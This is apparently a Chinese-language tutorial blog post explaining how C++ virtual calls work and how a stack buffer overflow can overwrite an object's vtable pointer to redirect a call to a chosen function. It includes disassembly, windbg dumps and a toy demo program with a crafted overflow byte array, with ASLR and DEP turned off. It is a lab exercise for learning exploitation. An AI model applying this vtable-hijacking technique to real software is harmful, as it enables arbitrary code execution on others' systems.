C++一特性是通過virtual關鍵字實現運行時多態,雖然自己用到這個關鍵字的機會不多,但很多引用的第三方庫會大量使用這個關鍵字,比如MFC...如果某個函數由virtual關鍵字修飾,並且通過指針方式調用,則由編譯器實現運行時多態,也是本文溢出虛函數表並加以利用的前提條件。
文章開頭提到了能完成溢出利用的前提條件,看下Object.Function()調用方式和ObjectPtr->Function()調用方式的差別,源碼如下:
class base { public: virtual void test() { printf("%s\n","base:test"); } }; int main() { base obj1; base* objPtr = &obj1; obj1.test(); //普通調用方式 objPtr->test(); //運行時多態 return 0; }截取關鍵部分的反匯編代碼:
base* objPtr = &obj1; 00401026 lea eax,[obj1] 00401029 mov dword ptr [objPtr],eax obj1.test(); 0040102C lea ecx,[obj1] 0040102F call base::test (401090h) // 1)對應的OpCode為0x0040102F:e8 5c 00 00 00 objPtr->test(); 00401034 mov eax,dword ptr [objPtr] 00401037 mov edx,dword ptr [eax] 00401039 mov esi,esp 0040103B mov ecx,dword ptr [objPtr] 0040103E mov eax,dword ptr [edx] 00401040 call eax // 2)反匯編代碼call base::test (401090h)的調用目標就是虛函數test所在的地址(為了編譯演示效果,我已關閉鏈接選項中的增量鏈接):
virtual void test() { 00401090 push ebp 00401091 mov ebp,esp 00401093 sub esp,0CCh 00401099 push ebx 0040109A push esi 0040109B push edi 0040109C push ecx 0040109D lea edi,[ebp-0CCh] 004010A3 mov ecx,33h 004010A8 mov eax,0CCCCCCCCh 004010AD rep stos dword ptr es:[edi] 004010AF pop ecx 004010B0 mov dword ptr [ebp-8],ecx從這段代碼可以看到這些信息:
1)處,普通調用方式和C語言中的相對調用一樣,都是讓Eip跳轉一段相對距離去取指執行(從Call指令被匯編為E8看出);而2)處,運行時多態則通過call [Mem]的方式實現間接跳轉。這種調用方式比較靈活:首先內存地址Mem是變數,其次內存值[Mem]同樣是變數,需要根據程序執行時使用的內存情況而定,不像方式1)那樣,編譯完了就成了板上釘釘的事實了。就是這種不加檢查內存有效性的盲目(<-這段是我自己主觀判斷的)靈活性給我們帶來了利用的機會。
上面已經知道了2種調用機制的差別,現在將重點放到運行時多態的實現上。(為了行文方便,這裡容我假設你已經閱讀了
圖中顯示Obj1對象的虛表存在於Obj1對象外部(按我調試的結論,虛表是類對象所共有,存在於PE文件rodata節中,因為每次修改虛表都會引起訪存異常。),在對象內部僅保留一個指針成員指向該共有虛表。如果讓指針指向錯誤的地方----比如我們偽造的虛表,則程序會不假思索的去偽造的虛表取虛函數地址並執行。
鑒於這種猜測,我們動手嘗試覆蓋Obj1對象的虛表,思路如下:先在棧上開辟一個數組,緊接著創建obj1對象,然後溢出數組直到Obj1對象虛表指針所在的內存。修改後的代碼如下:
class base { public: unsigned char buff[4]; base() { memset(buff,0xAA,4); } virtual void test() { printf("%s\n","base:test"); } }; void fakeFunc() { printf("%s\n","fakeFunc"); } unsigned char shellcode[] = {'\x00','\x10','\x40','\x00', '\xcc','\xcc','\xcc','\xcc', '\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc', '\x08','\xff','\x12','\x00'}; int main() { base* objPtr; base obj1; unsigned char buf[8] = {0}; objPtr = &obj1; memcpy(buf,shellcode,0x14); objPtr->test(); return 0; }調試查看變量obj1和buf的內存分布情況:
0:000> dd obj1 l1 0012ff18 0043b1d4 0:000> dd buf 0012ff08 00000000 00000000 cccccccc cccccccc 0012ff18 0043b1d4 aaaaaaaa cccccccc cccccccc
從windbg返回的結果看,buf後面緊貼著0x8B的0xcc,這是變量保存區,由vs編譯生成的gap,用於檢測棧溢出,緊隨其後的0x012ff18是obj1對象所在內存區,這個地址同時也是obj1對象的虛表指針所在,只要巧妙的構造copy給buf的內容,就能使objPtr->test()去執行fakeFunc函數。為了便於試驗中構造shellcode,設置VS鏈接選項隨機基質和數據執行保護都為No。
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};
shellcode在這有2個作用:1)很明顯的一點溢出buf到obj1所在地址;2)shellcode前4B充當虛函數表,當然這個表的內容比較單一,只有一個表項,表項內容是fakeFunc的地址(見下面的windbg輸出結果)。這部分內容我用紅色字體標示:'\x00','\x10','\x40','\x00'(Intel小端序),這個需要讀者按照自己實際情況修改。
0:000> u fakeFunc 00401000 55 push ebp 00401001 8bec mov ebp,esp綠色字體部分:'\x08','\xff','\x12','\x00',這4B正好覆蓋obj1的虛函數表指針:
這是覆蓋前buf和Obj1的內存情況:
0:000> dd buf L8 0012ff08 00000000 00000000 cccccccc cccccccc 0012ff18 0043b1c0 aaaaaaaa cccccccc cccccccc這是執行memcpy之後覆蓋Obj1的情況:
0:000> dd buf L8 0012ff08 00401000 cccccccc cccccccc cccccccc 0012ff18 0012ff08 aaaaaaaa cccccccc cccccccc最後,看下覆蓋後程序objPtr->test()執行情況:
圖中紅框是objPtr->test()對應的反匯編代碼,我們單步執行查看結果:
0:000> t virtual!main+0x5c: 004010ac 8b10 mov edx,dword ptr [eax] ds:0023:0012ff18=0012ff08 0:000> r eax eax=0012ff181.這步是取objPtr指針地址,eax=0x12ff18,對應objPtr對象起址,同時是虛函數表指針地址
0:000> p virtual!main+0x5e: 004010ae 8bf4 mov esi,esp 0:000> r edx edx=0012ff082.這步是從虛函數表指針取虛表地址到edx
004010b3 8b02 mov eax,dword ptr [edx] ds:0023:0012ff08={virtual!fakeFunc (00401000)} 0:000> p eip=004010b5 esp=0012fe38 ebp=0012ff34 virtual!main+0x65: 004010b5 ffd0 call eax {virtual!fakeFunc (00401000)}3.跳過_chkesp相關的代碼,繼續執行的結果。
前面說過當前虛表中只有一項,當前edx存放虛表地址,因此[edx]中的值存了被偽造的虛函數的地址0x401000,將其存放到eax
0:000> r eax eax=00401000之後,F5運行,查看結果,已經跳轉到fakeFunc中:
至此,溢出利用虛函數表指針成功